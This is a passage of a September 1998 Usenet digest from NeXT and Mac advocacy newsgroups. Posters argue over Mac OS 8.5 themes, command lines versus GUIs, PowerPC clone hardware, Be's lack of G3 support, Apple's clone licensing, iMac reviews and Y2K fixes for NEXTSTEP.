You're mixing issues here. UNIX is far more robust than MacOS or Win.
Big deal. It's nothing to do with CLIs or GUIs.
From: willadams@aol.com (WillAdams)
Newsgroups: comp.sys.next.advocacy
Subject: Re: Appearance and Themes (was: Re: bummer of os 8.5 gm)
Message-ID: <1998091316121800.MAA14320@ladder03.news.aol.com>
Date: 13 Sep 1998 16:12:18 GMT
Organization: AOL http://www.aol.com
References: <joe.ragosta-1309980758300001@elk55.dol.net>
Yes, there are NeXT-like themes for Kaleidoscope, as well as Church Windows and
Niji.
The Kaleidoscope themes don't seem to provide much in the way of functionality,
nor does Church Windows (though at least it does place the close button in the
right place).
Niji attempts to provide some functionality, including a mimic of iconization
of windows, but it crashed my machine when running with Adobe Type Reunion.
As I've stated before, I'd pay dearly for a "What's NeXT?" pack from Apple (or
anyone else) including the NeXT UI (or an improvement on it), and niceties
which've been abandoned such as Webster's, Oxford's, TeXView, etc.
I suspect it could be done with all opensource/rightcopy/GPL software (I'd love
to be able to use LyX, WindowMaker could provide much of the UI, etc.)
Are there any indications that animated icons for applications will be moving
up from their present optional installation ghetto?
William
William Adams
http://members.aol.com/willadams
Sphinx of black quartz, judge my vow.
From: *johnnyc*@or.psychology.dal.ca (John Christie)
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy,comp.sys.mac.programmer.misc
Subject: Re: Heidi on Heidi (Was Re: Did Heidi Roizen do a good job?)
Date: Sun, 13 Sep 1998 15:11:33 -0300
Organization: ISINet, Nova Scotia
Message-ID: <*johnnyc*-1309981511330001@jchristie.halifaxcable.dal.ca>
References: <heaney-0509981648590001@24.0.246.137> <6t3if6$h$1@nnrp02.primenet.com> <heaney-0809981243030001@24.0.246.137> <6t3nal$124$2@nnrp02.primenet.com> <heaney-0809981533040001@24.0.246.137> <6t42o6$puq$1@nnrp03.primenet.com> <35F59780.F2B41779@ericsson.com> <6t76ga$4vm$1@nnrp3.snfc21.pbi.net> <35F7657E.C56E76A9@nstar.net> <6tbqcu$ubt$1@nnrp4.snfc21.pbi.net> <35F976A1.E9C83A99@ericsson.com> <6te9gv$420$1@nnrp2.snfc21.pbi.net> <35FAC3AE.3F4B49BD@nstar.net> <6tf367$6en$1@nnrp3.snfc21.pbi.net> <6tffth$opg$2@nnrp03.primenet.com> <6tfhql$9eb$1@nnrp4.snfc21.pbi.net>
In article <6tfhql$9eb$1@nnrp4.snfc21.pbi.net>, "William Edward Woody"
<woody@alumni.caltech.edu> wrote:
> I personally think the right answer here is to rethink the design,
> not to hide stuff. For example, if we find that it is important
> for users to be able to selectively kill processes, instead of
> teaching folks how to run the output of 'ps' through 'grep, why
> not create a "Process Manager" which provides users graphical access
> to those tools?
A fine example of somthing that is built into the MacOS. Fire up
script editor and type
quit (choose application with prompt "select a program to quit")
and then run it. This allows you to kill all programs, including
faceless background apps and those running on machines on the network that
you have access to.
Are we forgetting that the Mac has a built in batch CLI and that Apple
has dedicated themselves to making it everything it could be as of OS
8.5? For example, the tear off application menu in 8.5 can be scripted to
look like Windows, NeXT, Be, or any other application switcher. It is
hidden from the user unless they ask for help in which case it is
explained with examples.
--
You aren't free if you CAN choose - only if you DO choose.
All you are is the decisions you make.
Remove "*" and ohnny (i.e. jc@) to reply via email
From: no-spam@one.net (MojiDoji)
Newsgroups: alt.flame.macintosh,comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: What we need from Mac OSuX
Message-ID: <no-spam-1309982244170001@port-43-36.access.one.net>
References: <35f981c1.4716408@news.alt.net> <B21DFFB6-2CB89C@153.36.241.186> <3602aab0.3916641@news.alt.net> <smileyy-1209981347050001@192.168.0.2> <3606c258.9974230@news.alt.net> <no-spam-1209981733180001@10.0.1.99> <joe.ragosta-1209981833280001@elk75.dol.net> <no-spam-1209981938180001@10.0.1.99> <joe.ragosta-1209982125480001@elk48.dol.net>
Date: 13 Sep 1998 22:36:30 -0500
Organization: OneNet Communications News Hub
In article <joe.ragosta-1209982125480001@elk48.dol.net>,
joe.ragosta@dol.net (Joe Ragosta) wrote:
> >
>
> I forgot about PIOS. As for LinuxPPC.org, I wasn't aware that they were
> selling CHRP machines. Do you have a URL?
>
> But you can't buy a motherboard anywhere that I know of.
>
> BTW, even if you can buy a computer that meets the CHRP spec from PIOS,
> CHRP is still dead. None of the major OSs will run on it.
>
> --
> Regards,
>
> Joe Ragosta
> See the Complete Macintosh Page at its new location:
> http://www.taylor-design.com/cMacindex.html
LinuxPPC is http://www.linuxppc.org.
None of the major OS', but you will have MacOS, LinuxPPC, MkLinux, AIX,
pOS, Acorn and BeOS. The other advantage is support for many of the
standard PC components plus the capability for cloners to get back into
the fray.
--
To reply, replace "no-spam" with "mottbi"
From: no-spam@one.net (MojiDoji)
Newsgroups: alt.flame.macintosh,comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: What we need from Mac OSuX
Message-ID: <no-spam-1309982245260001@port-43-36.access.one.net>
References: <35f981c1.4716408@news.alt.net> <B21DFFB6-2CB89C@153.36.241.186> <3602aab0.3916641@news.alt.net> <smileyy-1209981347050001@192.168.0.2> <3606c258.9974230@news.alt.net> <no-spam-1209981733180001@10.0.1.99> <joe.ragosta-1209981833280001@elk75.dol.net> <no-spam-1209981938180001@10.0.1.99> <slrn6vm9g7.2tg.jason@jhste1.dyn.ml.org>
Date: 13 Sep 1998 22:37:40 -0500
Organization: OneNet Communications News Hub
In article <slrn6vm9g7.2tg.jason@jhste1.dyn.ml.org>,
jason@jhste1.dyn.ml.org (Jason S.) wrote:
> MojiDoji posted the following to comp.sys.mac.advocacy:
>
> >Sure it will. Pios manufactures full CHRP systems. LinuxPPC.org sells
> >CHRP machines.
>
> Linux/PowerPC sells Tanzania boxes (not CHRP). Sorry to disappoint you.
>
> --
> Whenever you find that you are on the side of the majority, it is time
> to reform.
> -- Mark Twain
They also have had info on an IBM Long Trail-based machine.
--
To reply, replace "no-spam" with "mottbi"
From: "Christopher Smith" <drsmithy@usa.net>
Newsgroups: alt.destroy.microsoft,alt.microsoft.sucks,comp.sys.mac.advocacy,comp.sys.next.advocacy,comp.sys.mac.hardware.misc
Subject: Re: How Fast Is Little iMac? -> Beats EVERY PII
Date: Mon, 14 Sep 1998 05:00:25 +1000
Organization: University of Queensland
Message-ID: <6th4k8$2o$1@bunyip.cc.uq.edu.au>
References: <derekc-1408981231350001@as5300-3-45.roc.ny.frontiernet.net> <6r967u$a27$1@lwnws01.ne.highway1.com> <joe.ragosta-1708980924010001@wil51.dol.net> <6r9cu3$n76@fridge.shore.net> <rayExuyrC.IIo@netcom.com> <35D8C744.5F35DF26@ericsson.com> <macman-0609982059000001@d185d1c66.rochester.rr.com> <35F3FB6E.DBD5A2FE@nstar.net> <6t01js$pdo$1@bunyip.cc.uq.edu.au> <35F4F71C.307FDC38@nstar.net> <6t1pv4$mr8$1@bunyip.cc.uq.edu.au> <35fa4488.11961504@news.supernews.com> <6tgmn9$jmh$1@bunyip.cc.uq.edu.au> <35FBAA84.F5B8CE84@inficad.com>
>>CJH <ifmtrx@inficad.com> wrote in message 35FBAA84.F5B8CE84@inficad.com...
>>Christopher Smith wrote:
>>>Insisting over and over that a car is like a computer, just because
>>>you like the analogy, regardless of how many times it is pointed out
>>>how stupid the analogy is, is....
>>>
>>>not smart.
>>In many ways they are similar. In many ways they *should* be similar.
>My operational needs for both are similar... perform their functions
WITHOUT requiring frequent attention in their design, construction and
>maintenance! For those who have the time and enjoy "tinkering," both offer
tremendous enjoyment! A cab driver doesn't want or have time to >be a
mechanic!
Try to convince Max that :).
>
>CJH
From: distler@golem.ph.utexas.edu (Jacques Distler)
Newsgroups: comp.sys.next.advocacy,comp.sys.next.programmer
Subject: Re: Apple says NEXTSTEP 3.3 **NOT** Year 2K compliant
Date: Sun, 13 Sep 1998 14:19:37 -0500
Organization: Physics Department, University of Texas at Austin
Message-ID: <distler-1309981419370001@192.168.0.1>
References: <35F00B0B.276F5E89@NOSPAMREMOVETHISisomedia.com> <6spskt$nrs$1@news.seicom.net>
/gnVR"|LWyKVK{`$&t&`k{]Q^x*"ihe+^hTvWs@IEMtYI5RVzGFBPcMu`}>@#^Fm:<)M
w83/\[@#\u?TVrF3fqDjK?
In article <6spskt$nrs$1@news.seicom.net>, frank@this.NO_SPAM.net (Frank
M. Siegert) wrote [on Y2K]:
> - I installed the GNU version (sh-utils 1.16) of '/bin/date' to be able to
> set the date as the original date program refuse to set dates > year 1999.
>
> I put it quad-fat on http://www.this.net/~frank/date_y2k.tar.gz for those
> without compiler who wants to try it themselfs (as usual you are working at
> your own risk, so backup your data before installing it). Run 'date --help'
> to see the new options.
>
> - The time module of Preference.app is unable to set dates > year 1999, guess
> someone need to write a replacement. It is however able to display them, so
> you need to set date and time in a shell (no big deal IMHO).
>
> So what to do? Maybe I will write a new Preference module next year to be
> able to set dates using Preference.app, most of my own apps will continue to
> work (I do not use DBKit, nor does much other software I know of...). The
> libraries and some utilities in question (at, atq, atrun, atrm, troff, maybe
> more...) can be replaced by newer versions (ported from FreeBSD/Linux), the
> same applies for mail, etc (and this is one of the strengths of a modular
> system, try this with a monolithic OS -- uh oh... pain, pain).
If you do any further ports of Y2K-compliant utilities to NS3.3, please
post a notice to comp.sys.next.sysadmin .
There already is a Y2K-compliant version of /bin/date on Peanuts and Peak
(date.02.NIHS.bs). But clearly, there is a bit more to be done.
Note to administrators of Peak & Peanuts: Perhaps a separate directory of
Y2K fixes would be appropriate. That will make it a lot easier for folks
to move their system towards compliance.
JD
--
PGP public key: http://golem.ph.utexas.edu/~distler/distler.asc
From: mteh@earthlink.net (Oliver M. Sun)
Newsgroups: alt.destroy.microsoft,alt.microsoft.sucks,comp.sys.mac.advocacy,comp.sys.next.advocacy,comp.sys.mac.hardware.misc
Subject: Re: How Fast Is Little iMac? -> Beats EVERY PII
Date: Sun, 13 Sep 1998 21:56:53 -0500
Organization: EarthLink Network, Inc.
Message-ID: <mteh-ya02408000R1309982156530001@news.earthlink.net>
References: <joe.ragosta-1708980924010001@wil51.dol.net> <6r9cu3$n76@fridge.shore.net> <rayExuyrC.IIo@netcom.com> <35D8C744.5F35DF26@ericsson.com> <macman-0609982059000001@d185d1c66.rochester.rr.com> <35F3FB6E.DBD5A2FE@nstar.net> <6t01js$pdo$1@bunyip.cc.uq.edu.au> <35F4F71C.307FDC38@nstar.net> <6t1pv4$mr8$1@bunyip.cc.uq.edu.au> <35fa4488.11961504@news.supernews.com> <6tgmn9$jmh$1@bunyip.cc.uq.edu.au> <35FBAA84.F5B8CE84@inficad.com> <6th4k8$2o$1@bunyip.cc.uq.edu.au> <35fd738b.2127351@news.supernews.com>
Mime-Version: 1.0
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In article <35fd738b.2127351@news.supernews.com>, mdevlin@eltrax.com (T.
Max Devlin) wrote:
>"Christopher Smith" <drsmithy@usa.net>, on Mon, 14 Sep 1998 05:00:25
>
>>>>CJH <ifmtrx@inficad.com> wrote in message 35FBAA84.F5B8CE84@inficad.com...
>>>>Christopher Smith wrote:
>>>>>Insisting over and over that a car is like a computer, just because
>>>>>you like the analogy, regardless of how many times it is pointed out
>>>>>how stupid the analogy is, is....
>>>>>
>>>>>not smart.
>>>>In many ways they are similar. In many ways they *should* be similar.
>>>My operational needs for both are similar... perform their functions
>>WITHOUT requiring frequent attention in their design, construction and
>>>maintenance! For those who have the time and enjoy "tinkering," both offer
>>tremendous enjoyment! A cab driver doesn't want or have time to >be a
>>mechanic!
>>
>>Try to convince Max that :).
>
>I don't think there is a cab driver existent that does not know how
>to pump gas and check his oil.
I know how to plug in my Mac and check my e-mail.
Try exchanging a heater core sometime.
From: ericb@pobox.com (Eric Bennett)
Newsgroups: comp.sys.mac.advocacy,comp.os.mac.advocacy,comp.sys.powerpc.advocacy,comp.sys.next.advocacy
Subject: Re: CISC vs RISC
Date: Sun, 13 Sep 1998 13:07:28 -0400
Organization: Cornell University
Sender: emb22@cornell.edu (Verified)
Message-ID: <ericb-1309981307280001@r4149.resnet.cornell.edu>
References: <B20F0ECF-11F9DE@208.193.147.160> <MPG.1058c7a96b77dd0d9897a7@news.itg.ti.com> <joe.ragosta-0709980738260001@elk79.dol.net> <MPG.105e06794f636f579896f9@news.ont.com> <joe.ragosta-0709981722180001@elk38.dol.net> <35F55CA5.F11D2C8F@rochester.rr.com> <joe.ragosta-0809981344100001@wil70.dol.net> <MPG.105f31793dc66aff9897aa@news.itg.ti.com> <joe.ragosta-0809981506290001@wil40.dol.net> <35F6BC03.CBD36DBA@cennet.com> <MPG.1060938f9af30e2e9897b0@news.itg.ti.com> <joe.ragosta-0909981625090001@wil56.dol.net> <MPG.1060b50cd5dcd9999897b2@news.itg.ti.com> <ericb-1009981601360001@128.253.86.98> <MPG.1061ece0ab9734119897be@news.itg.ti.com> <joe.ragosta-1009981624500001@wil127.dol.net> <macghod-1009982300130001@sdn-ar-001casbarp205.dialsprint.net> <ericb-1109981353490001@128.253.86.98> <macghod-1109981227090001@sdn-ar-002casbarp266.dialsprint.net> <macghod-1109981539170001@sdn-ar-001casbarp259.dialsprint.net>
In article <macghod-1109981539170001@sdn-ar-001casbarp259.dialsprint.net>,
macghod@concentric.net (Steve Sullivan) wrote:
> > The Macintosh can switch between tasks just fine. It can do everything a
> > task-switching system can do. Why anybody bothers to discuss this is
> > beyond me, since any OS worth a dime can do that (as I said, my Apple II
> > can do it).
>
> On openstep you can switch to other apps while burning a cd, on the mac
> you cant.
You need not invoke something uncommon like CD burning. Just bring up a
file open/save dialog and you'll be unable to switch applications (unless
the program is using Navigation Services). Or bring up any other globally
modal dialog.
> I dont understand what you mean here.
It just seems silly to me to call MacOS or NT or Linux a task switching
system. It's like saying that most automobiles have two tires. It's an
unnecessary half-truth.
> The macos can multitask, AND it can
> task switch. Their just happen to be some cases where it cant multitask
> or task switch, in certain rare conditions.
So what? The same is true of almost any OS. I've seen Linux get into a
swapping frenzy where, after five minutes of waiting, the person running
the machine decided to reboot instead of continuing to wait. This is
highly atypical.
--
Eric Bennett (www.pobox.com/~ericb), Cornell University
What's good for Standard Oil is good for Microsoft.
From: "Earl Malmrose" <malmrose@nospam.jetcity.com>
Newsgroups: alt.flame.macintosh,comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: What we need from Mac OSuX
Date: Sun, 13 Sep 1998 20:34:39 -0700
Organization: ISPNews http://ispnews.com
Message-ID: <6ti31m$65o$1@news5.ispnews.com>
References: <35f981c1.4716408@news.alt.net> <B21DFFB6-2CB89C@153.36.241.186> <3602aab0.3916641@news.alt.net> <smileyy-1209981347050001@192.168.0.2> <3606c258.9974230@news.alt.net> <joe.ragosta-1209981543220001@elk60.dol.net> <6tfns4$ci4$1@news5.ispnews.com> <joe.ragosta-1309980825580001@elk55.dol.net>
NNTP-Posting-Date: 14 Sep 1998 03:37:26 GMT
Joe Ragosta wrote in message ...
>In article <6tfns4$ci4$1@news5.ispnews.com>, "Earl Malmrose"
><malmrose@nospam.jetcity.com> wrote:
>
>> Joe Ragosta wrote in message ...
>> >
>> >The people doing Linux were able to work out the G3 motherboard. Why
>> >couldn't Be?
>>
>> They could, they choose not to, for various reasons they've previously
>> stated.
>
>Which proves my point.
Not at all.
>Be claims that they can't support PowerMac G3
>systems because Apple won't give them what they need.
Because they won't base their business on reverse engineering spec for
systems.
>You're admitting
>that they could if they wanted to.
How dim are you? Of course they could if they wanted to. Its not an
impossible task. Microsoft could make Windows run on G3's, yet they don't.
Is it because they "can't". No.
Be has stated they won't engage in reverse engineering, thus without the
specs from Apple they won't be able to support G3's.
From: antwun@yahoo.com (vapor)
Newsgroups: alt.flame.macintosh,comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: What we need from Mac OSuX
Date: Sun, 13 Sep 1998 17:09:28 GMT
Organization: ...
Message-ID: <3603f95a.13853159@news.alt.net>
References: <35f981c1.4716408@news.alt.net> <B21DFFB6-2CB89C@153.36.241.186> <3602aab0.3916641@news.alt.net> <smileyy-1209981347050001@192.168.0.2> <3606c258.9974230@news.alt.net> <smileyy-1209981553550001@192.168.0.2>
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
smileyy@ix.netcom.com (Andrew McCormick) wrote:
>In article <3606c258.9974230@news.alt.net>, antwun@yahoo.com (vapor) wrote:
>
>>Jesus, and they say Microsoft uses monopolistic tactics. Do you agree
>>with what Steve "oops, your license is no good" Jobs did to the clone
>>manufacturers? Look, happy boy, I'll make this short and sweet. If
>>Apple doesn't open their architecture to the computer market they
>>*will* die. No ifs, ands, or buts about it. If they would have done
>>this in the first place they would be on a equal footing with
>>Microshaft instead of struggling to keep their head above water.
>
>What did Steve Jobs do to the cloners?
To put it in simple terms, he fucked them with a glass coated
cucumber.
>He let their licenses expire without renewing them.
I agree he is a gutless coward, Andrew. You don't have to explain it
to me.
>To stop Power, he bought their license out. The
>change from 7.7 -> 8.0 was a little underhanded, but much worse has been
>done in the business world.
You don't actually agree with his cowardly tactics, do you?
>
>I'd wager that Apple wouldn't have had it's profitable quarters without
>the ending of the "cloners",
What incredible insight you have, Andrew. I would have never guessed.
>or at least without major changes to the
>licensing agreement that the cloners wouldn't have gone along with. To
>continue to let Power cannibalize Apple's market, while Apple only made
>$100 or so a box was ludicrous. For that $100, Apple had to develop and
>test motherboards and operating systems,
Whine, whine, whine. Power provided a superior product for a lower
price and Scrapple couldn't stand the competition.
>while Power had to ... um ... oh
>yeah, have a bungie cord tower at MacWorld Boston.
The best thing that could have happened to Apple is if Jobs would have
taken a header off of said tower without a bungie cord.
--
vapor
From: mclark@htg.net (M. Clark)
Newsgroups: alt.flame.macintosh,comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: What we need from Mac OSuX
Date: Sun, 13 Sep 1998 12:23:58 -0700
Organization: Huntleigh Telecom, El Paso TX
Message-ID: <1dfalcn.t65uaanv3pj4N@[209.136.26.197]>
References: <35f981c1.4716408@news.alt.net> <B21DFFB6-2CB89C@153.36.241.186> <3602aab0.3916641@news.alt.net> <smileyy-1209981347050001@192.168.0.2> <3606c258.9974230@news.alt.net>
vapor <antwun@yahoo.com> wrote:
> smileyy@ix.netcom.com (Andrew McCormick) wrote:
>
> >In article <3602aab0.3916641@news.alt.net>, antwun@yahoo.com (vapor) wrote:
> >
> >>"Wayne Fellows" <wfellows@*stop_spam*earthlink.net> wrote:
> >>
> >>>On Wed, Sep 9, 1998 1:34 PM, vapor <mailto:antwun@yahoo.com> wrote:
> >>>>>Since IBM supposedly has a PPC OS/2 distribution, I would love to see it
> >>>>>come to market. I would probably become an OS/2 user.
> >>>
> >>>>Interesting, I haven't heard about this. The problem is, Jobs would
> >>>>never let this system become available from Mac users. I wonder if IBM
> >>>>is considering marketing PPC based OS/2 boxes aimed at the home
> >>>>market?
> >>>
> >>>He wouldn't have a choice, anyone can market an OS for the Mac. All the
> >>>info nescessary is available to the public.
> >>>
> >>
> >>Try it and see what happens. Apple would have IBM in court so fast it
> >>would make your head spin.
> >
> >Apple wouldn't even bother suing. They'd just break support for the OS
> >with each motherboard revision.
>
> Jesus, and they say Microsoft uses monopolistic tactics. Do you agree
> with what Steve "oops, your license is no good" Jobs did to the clone
?????????????????????????????
This is just like Steve Jobs saying "G3 is _TWICE AS FAST_ as PII" which
was also a misquote. If you will remember, there were days of heated
discussion between Apple and the clone makers, notably with
PowerComputing, before negotiations finally broke down. Steve Jobs did
not cancel clone licenses on an whim with an "oops" as your misquote
suggests.
M. Clark
> manufacturers? Look, happy boy, I'll make this short and sweet. If
> Apple doesn't open their architecture to the computer market they
> *will* die. No ifs, ands, or buts about it. If they would have done
> this in the first place they would be on a equal footing with
> Microshaft instead of struggling to keep their head above water.
>
> --
> vapor
From: *johnnyc*@or.psychology.dal.ca (John Christie)
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy,comp.sys.mac.programmer.misc
Subject: Re: Heidi on Heidi (Was Re: Did Heidi Roizen do a good job?)
Date: Sun, 13 Sep 1998 15:19:37 -0300
Organization: ISINet, Nova Scotia
Message-ID: <*johnnyc*-1309981519370001@jchristie.halifaxcable.dal.ca>
References: <B212F253-19875@206.165.43.49> <joe.ragosta-0209981709230001@wil78.dol.net> <B2132A13-45BC2@206.165.43.179> <EypqG4.4pI@T-FCN.Net> <6sn8a6$vae$1@nnrp1.snfc21.pbi.net> <6snl5a$pk85@odie.mcleod.net> <bsarpNOSPAM-0409980302490001@47.net10.nauticom.net> <6sp0b9$gvu1@odie.mcleod.net> <6sp3dj$8h2$1@nnrp02.primenet.com> <6srlni$crv$1@nnrp1.dejanews.com> <6ss1un$14c$1@nnrp03.primenet.com> <heaney-0509981648590001@24.0.246.137> <B218206E-5842E@206.165.43.134> <6suplu$rqm$1@nnrp02.primenet.com> <heaney-0609982205450001@24.0.246.137> <6svokr$51r$1@nnrp02.primenet.com> <heaney-0809980032490001@24.0.246.137> <6t3if6$h$1@nnrp02.primenet.com> <heaney-0809981243030001@24.0.246.137> <6t3nal$124$2@nnrp02.primenet.com> <heaney-0809981533040001@24.0.246.137> <6t42o6$puq$1@nnrp03.primenet.com> <35F59780.F2B41779@ericsson.com> <6t76ga$4vm$1@nnrp3.snfc21.pbi.net> <35F7657E.C56E76A9@nstar.net> <6tf2c3$g6b$2@news00.btx.dtag.de>
In article <6tf2c3$g6b$2@news00.btx.dtag.de>, Fam.Traeger@t-online.de
(=?ISO-8859-1?Q?Lars_Tr=E4ger?=) wrote:
> Michael J. Peck <mjpeck@nstar.net> wrote:
>
> > Pipes are a crucial concept and I think the fact that GUIs by and large
> > lack them is a massive failing. Regular expressions are simply a skill,
>
> You have never seen Khoros, have you? It's all a matter of
> implementation.
>
And, depending on the implementation of the scripting and thread
manager something like this is already available in AppleScript.
--
You aren't free if you CAN choose - only if you DO choose.
All you are is the decisions you make.
Remove "*" and ohnny (i.e. jc@) to reply via email
From: NOSPAMmbkennelNOSPAM@yahoo.com (Matt Kennel)
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy,comp.sys.mac.programmer.misc
Subject: Re: Heidi on Heidi (Was Re: Did Heidi Roizen do a good job?)
Date: 13 Sep 1998 19:11:05 GMT
Organization: Univ of Calif San Diego
Message-ID: <slrn6vo669.s81.NOSPAMmbkennelNOSPAM@lyapunov.ucsd.edu>
References: <heaney-0509981648590001@24.0.246.137> <6svokr$51r$1@nnrp02.primenet.com> <heaney-0809980032490001@24.0.246.137> <6t3if6$h$1@nnrp02.primenet.com> <heaney-0809981243030001@24.0.246.137> <6t3nal$124$2@nnrp02.primenet.com><heaney-0809981533040001@24.0.246.137> <6t42o6$puq$1@nnrp03.primenet.com> <heaney-0809982244000001@24.0.246.137> <6t68ia$b2c$1@nnrp03.primenet.com> <heaney-0909981627150001@24.0.246.137> <6t76bj$hrb$1@nnrp03.primenet.com><6t77jj$6rq$1@nnrp3.snfc21.pbi.net> <6t8nsa$ij$1@nnrp03.primenet.com> <6t97qg$ag3$1@nnrp3.snfc21.pbi.net> <35F94B82.BF895AAE@ericsson.com> <6tbq52$q06$1@nnrp4.snfc21.pbi.net> <35F9AC3D.8593934@ericsson.com> <6tevmv$a1k$1@nnrp3.snfc21.pbi.net> <jdoherty-1209982342090001@aus-tx18-17.ix.netcom.com> <6tfjrn$nco$1@nnrp4.snfc21.pbi.net>
NNTP-Posting-Date: 13 Sep 1998 19:11:05 GMT
On Sat, 12 Sep 1998 22:06:46 -0700, William Edward Woody wrote:
:The reason why making CLI apps part of the OS rather than second
:class citizens within a special framework is interesting is that
:it would be nice to be able to invoke grep from another GUI
:application. That is, it would be nice to be able to do a fork(),
:redirect the standard in, out and error, and then do an exec().
:And doing this in the background without the user seeing this
:happening would be really cool: it would allow writing a CodeWarrior
:style project manager which could easily invoke the GNU
:compiler in the background.
OSX will have this, as the ability to do this is part of POSIX.
The essential concepts are "stdin, stdout and fifo streams of text."
It's such a common concept now that we forget how great a creative
invention this combination was. All praise dennis ritchie.
Of course you can view this sort of thing as a primitive sort of
"remote procedure call", the arguments being argv and the input data stream
and the return value being the output data stream.
A true distributed object call is the more modern concept. Instead of
just calling the "grep" executable, you request services from the
"regexp object". OpenStep with PDO can certainly do this.
Where does the 'command line' fit in to this? It is a convenient way
to make "manual procedure calls" by hand using the former sorts of
"remote procedure calls".
Perhaps there is a "Command Line Interface" waiting to be invented for the
distributed object world.
Oh wait. It already exists. It's called Smalltalk.
--
* Matthew B. Kennel/Institute for Nonlinear Science, UCSD
*
* "To chill, or to pop a cap in my dome, whoomp! there it is."
* Hamlet, Fresh Prince of Denmark.
From: "Michael J. Peck" <mjpeck@nstar.net>
Newsgroups: comp.sys.next.advocacy
Subject: A prediction
Date: Sun, 13 Sep 1998 14:17:04 -0500
Organization: ISPNews http://ispnews.com
Message-ID: <35FC1A30.EE020BD5@nstar.net>
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
NNTP-Posting-Date: 13 Sep 1998 19:18:45 GMT
Here is my prediction: Christmas sales of the iMac will be very
disappointing. Already the press has begun to regret its initial
excitement over the iMac's launch.
Gamecenter review:
http://www.gamecenter.com/Hardware/Systems/Imac/?st.gc.fd.b1
Excerpt:
"By flouting convention, Apple has created a cool-looking PC that no
gamer should consider buying. At least not until Apple decides to build
an iMac 2, featuring such cool innovations as a floppy drive and at
least one expansion slot."
BusinessWeek series:
In http://www.businessweek.com/bwdaily/dnflash/aug1998/nf80831a.htm,
Eric Hubler describes his excitement about the new iMac he just bought.
One week later, he writes a decidedly different article,
http://www.businessweek.com/bwdaily/dnflash/sep1998/nf80911d.htm.
Excerpt:
"I'm sorry, did I call it a computer? It isn't a computer if it does
not, to borrow a popular phrase, compute. It isn't a computer if all it
does is respond, passively, to the earth's gravitational field, or
displace an amount equal to its own volume when you immerse it in
water."
[...]
"Pssst....wanna buy an oddly colored, $1,299 paperweight/volume
measurer?"
MJP
Date: Sun, 13 Sep 1998 16:01:31 -0500
From: joe.ragosta@dol.net (Joe Ragosta)
Newsgroups: alt.flame.macintosh,comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: What we need from Mac OSuX
Message-ID: <joe.ragosta-1309981601320001@elk75.dol.net>
References: <35f981c1.4716408@news.alt.net> <B21DFFB6-2CB89C@153.36.241.186> <3602aab0.3916641@news.alt.net> <smileyy-1209981347050001@192.168.0.2> <3606c258.9974230@news.alt.net> <joe.ragosta-1209981543220001@elk60.dol.net> <6tfns4$ci4$1@news5.ispnews.com> <joe.ragosta-1309980825580001@elk55.dol.net> <6tgjoc$5h6$1@nnrp02.primenet.com>
In article <6tgjoc$5h6$1@nnrp02.primenet.com>, John Jensen
<jjens@primenet.com> wrote:
> Joe Ragosta <joe.ragosta@dol.net> wrote:
> : In article <6tfns4$ci4$1@news5.ispnews.com>, "Earl Malmrose"
> : <malmrose@nospam.jetcity.com> wrote:
>
> : > They could, they choose not to, for various reasons they've previously
> : > stated.
>
> : Which proves my point. Be claims that they can't support PowerMac G3
> : systems because Apple won't give them what they need. You're admitting
> : that they could if they wanted to.
>
> Joe, when did Linux get
>
> - G3 ide boot support?
> - G3 floppy support?
> - G3 video support?
>
> IIRC, all these became available _after_ Be dropped G3 for lack of
> information.
So? How does that change the argument?
--
Regards,
Joe Ragosta
See the Complete Macintosh Page at its new location:
http://www.taylor-design.com/cMacindex.html
From: mmp5@axe.humboldt.edu
Newsgroups: comp.sys.next.advocacy,comp.sys.mac.advocacy
Subject: Re: Mobile Pentium II 300 MHz
Date: Sun, 13 Sep 1998 23:40:26 GMT
Organization: Deja News - The Leader in Internet Discussion
Message-ID: <6thl5a$9ij$1@nnrp1.dejanews.com>
References: <6t6ruf$co8@newsb.netnews.att.com> <01bddd01$b8c70b40$a672fe8c@watts.67.acs.ohio-state.edu> <smileyy-1009981912370001@192.168.0.2> <01bddd14$2cca9400$a672fe8c@watts.67.acs.ohio-state.edu> <6tesr1$a32$1@morgoth.sfu.ca> <01bddec4$f28b1780$9d70fe8c@watts.67.acs.ohio-state.edu>
In article <
01bddec4$f28b1780$9d70fe8c@watts.67.acs.ohi
o-state.edu>,
"Steve" <nospam@nospam!.kom> wrote:
> Erick Bryce Wong <erick@sfu.ca> wrote in
>
For the stock value to increase, you generally
> must have increasing market share.
>
> -Steve
>
Wouldn't it be nice if economics actually
followed simple rules like a real science ;-).
(caution for the humor impaired, irony above)
-----== Posted via Deja News, The Leader in Internet Discussion ==-----
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From: jason@jhste1.dyn.ml.org (Jason S.)
Newsgroups: alt.flame.macintosh,comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: What we need from Mac OSuX
Date: 14 Sep 1998 06:24:14 GMT
Organization: I don't think so
Message-ID: <slrn6vpdu7.sv.jason@jhste1.dyn.ml.org>
References: <35f981c1.4716408@news.alt.net> <B21DFFB6-2CB89C@153.36.241.186> <3602aab0.3916641@news.alt.net> <smileyy-1209981347050001@192.168.0.2> <3606c258.9974230@news.alt.net> <no-spam-1209981733180001@10.0.1.99> <joe.ragosta-1209981833280001@elk75.dol.net> <no-spam-1209981938180001@10.0.1.99> <slrn6vm9g7.2tg.jason@jhste1.dyn.ml.org> <no-spam-1309982245260001@port-43-36.access.one.net>
MojiDoji posted the following to comp.sys.mac.advocacy:
>> >Sure it will. Pios manufactures full CHRP systems. LinuxPPC.org sells
>> >CHRP machines.
>> Linux/PowerPC sells Tanzania boxes (not CHRP). Sorry to disappoint you.
>They also have had info on an IBM Long Trail-based machine.
That's Geert's machine. There's a guy in Europe who wanted to put together
enough orders to satisfy the 1000-board minimum to buy Long Trail
boards from IBM. Hasn't happened, AFAIK. Now Geert is proposing that
the Linux/PowerPC userbase develop a miniature firmware implementation
to engineer boards specifically for Linux/PowerPC. Who knows - it might
happen. If it does, I'd bet that the resulting architecture would be
